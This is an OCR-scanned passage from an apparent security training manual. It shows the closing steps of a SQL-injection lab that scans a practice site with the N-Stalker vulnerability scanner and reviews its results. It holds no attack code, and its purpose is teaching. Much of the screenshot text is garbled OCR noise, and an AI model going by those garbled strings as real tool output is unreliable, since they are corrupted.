by N-Stalker’s spider
engine.

m When you are
generating reports, N-
Stlker allows you to
customize template and
data that will be used to
generate the final report.
Both executive and
technical reports allow for
that customization.

ED Wb Macro® s a
user-provided navigation
script that is usually
recorded using a web
browser and a web proxy
tool. Macro Recorder
allows you to insert manual
URLs as well and you must
choose between an
authentication or
navigation macro.

Module 15 - SQL Injection

20. N-Stalker displays a summary of vulnerabilities found. After examining the
summaty, click Done.

esults Wizard X

Scan Session has finished successfully.
N-Stalker found 9 vulnerabilities

Summary

| Application Objects [Count | A
Total Web Pages 1
High Vulnerabilties 0
Medium Vulnerabilties 3
Low Vuinerabilties 1
otal Scan Time Info Vulnerabilties 5
0 Hour(s) 3 Minute(s) Total Hosts Found 1
Total HTTP Cookies 0
otal Vulnerabilities Total Directories Found 0
High : 0 Total Web Forms Found 1
Medium: 3 Total Password Forms 0
Low : 1 Total E-mails Found 0
Info : 5 Total Client Scripts S
T 0 v

il
Your request has been successfully processed.

[

FIGURE 4.15: N-Stalker Summary

21. In the left pane, expand all the nodes and sub-nodes of the URL
http//www.goodshopping.com (under Website Tree). This displays the

2 3,
website’s pages.
LR ) - [ B
- Stehar Scanee Gzen Optens
S) G Soastn «dree
Sewsen Syt |Torwas Cotras | 100w Contrw TP Contogt || Fanasunt Comnt
3
.
e 4 2 Scomwr Progess s
A Tree wn Dowooars
p— Conpot g Campind
& e S Soe Seoveece o e o e
" § Akwed moen
8 o b Bepcied nean Prmgrens Deteis
B sssnen | & e
(o Stawessmel T o Cocte
- mencwm = Screts () Pt T Oee 21, 2007 012047
(o resetcn Comrer Ouraen M 3 Unates
S Wee Forma (1
5n ity T E———
@ s & Wroten poges (1) Crmwind Ultia "
ey n den Frn Crawiod tosts $
Ity ieited ermaton Leskepe (1] DYUR Page Ste YL T
seecttonmn | G Vumerstates Seontagne .
S R bl e S STy [} Dytes Sent 830
et Geosents 0 Dytes fecened [=oR )
Anpcay Ler o +g Respense Tre e
AD4 Trrees o Avg Transler Rate 405 20
302 Gedrecten 0 6100 regte
< >
L seenthotue Curront Totst Progreas 4
* Seratue Fies Search Assens | " "
* WetServer nhasiructus Ass & s ns
* Mafurty Packape Scasner 18 ) "
© NSube Sode Mosve " ® Hwon "
¢ >~ © scanvedies [ Comporents |12 S Evers |11) Mod e Event

_

FIGURE 4.16: N-Stalker Website Tree
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EQ ‘These macros can use
any URLs and will not be
prevented from calling
external services within N-
Sulker’s spider engine.

Module 15 - SQL Injection

22. You can view the complete scan results in N-Stalker's main dashboard.

23. You can even expand the URL httpJ/iwww.goodshopping.com (under
Vulnerabilities) to view all the site’s vulnerabilities.
- o X]

¥
ph—!- Z<an Ogtune

P dem Thsam s AP i tecute VN WA ol ] Comtrat Oymune
Tawt Prowy W ResTemen Temege Trace Seuter
o) Close Sasven AL Lovesn Wpru & Moy —_ . Cotuag WP RTRy T
mwase coms | i\ TP Cont | J
- = = -4
Tree e 3
0 repswww gosoenpeny iy Desseows a Py e
- A Trow = 540 Sequence
Comproma Compirns Comparret
6 st prsorend 9 Kevegall N R o
o B Semctes nean
B o Semen Popeas Do
L baeers caa » Cootmn s
- Senesine > Soen (V) B i .
- mence et Teve Dec 21, 2007012047
o oo =) Wb Forma (1) Svwen 0oy 3 imaes .
) worn () e — .
Bln e r— Spowtagne 0 |,
- . Waten Fu Crawied URLs "
.fm’ M Cramme nowts »
5 mvery wwosser [T Vomarsitms Cotatfagesan 8207 byes W E M) Low 1) W ()
sl 8 8 e el] L e e 1
& Apphcaton g Totw Beceests w Byoes Semt 3%
§°8 Waok o) Taig Begesn () Dytes Recenes =0
& Wt torm ahow Atacas San “ AvgRespenne e B0 8
B L, Posstu ntarme 06 Lrreen. “ avg Tranater Rame 00
o Posssa wncem 202 Besrecten ° AeguesnnVnae 1,00 e
® V7 Wetnerve wi
W Wetaerver wh
BV Wetaerver wit
® Y Wetaerw it v
e 2
: ! SR 5] s
* Senatue Fies Sewrch Avsens | ] T i
o WesServer mhestruchoe Ase ¢ 1) LA
© WobutyPackage Scaseer 158 " ns
Ch ke tider Wedve » "w " -
PR L L, vy pr—— . pr— [y ar—

FIGURE 4.17: N-Stalker Dashboard

24. On completion of this lab, close the N-Stalker GUL

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemnet Connection Required

O Yes M No
Platform Supported
Classroom M iLabs
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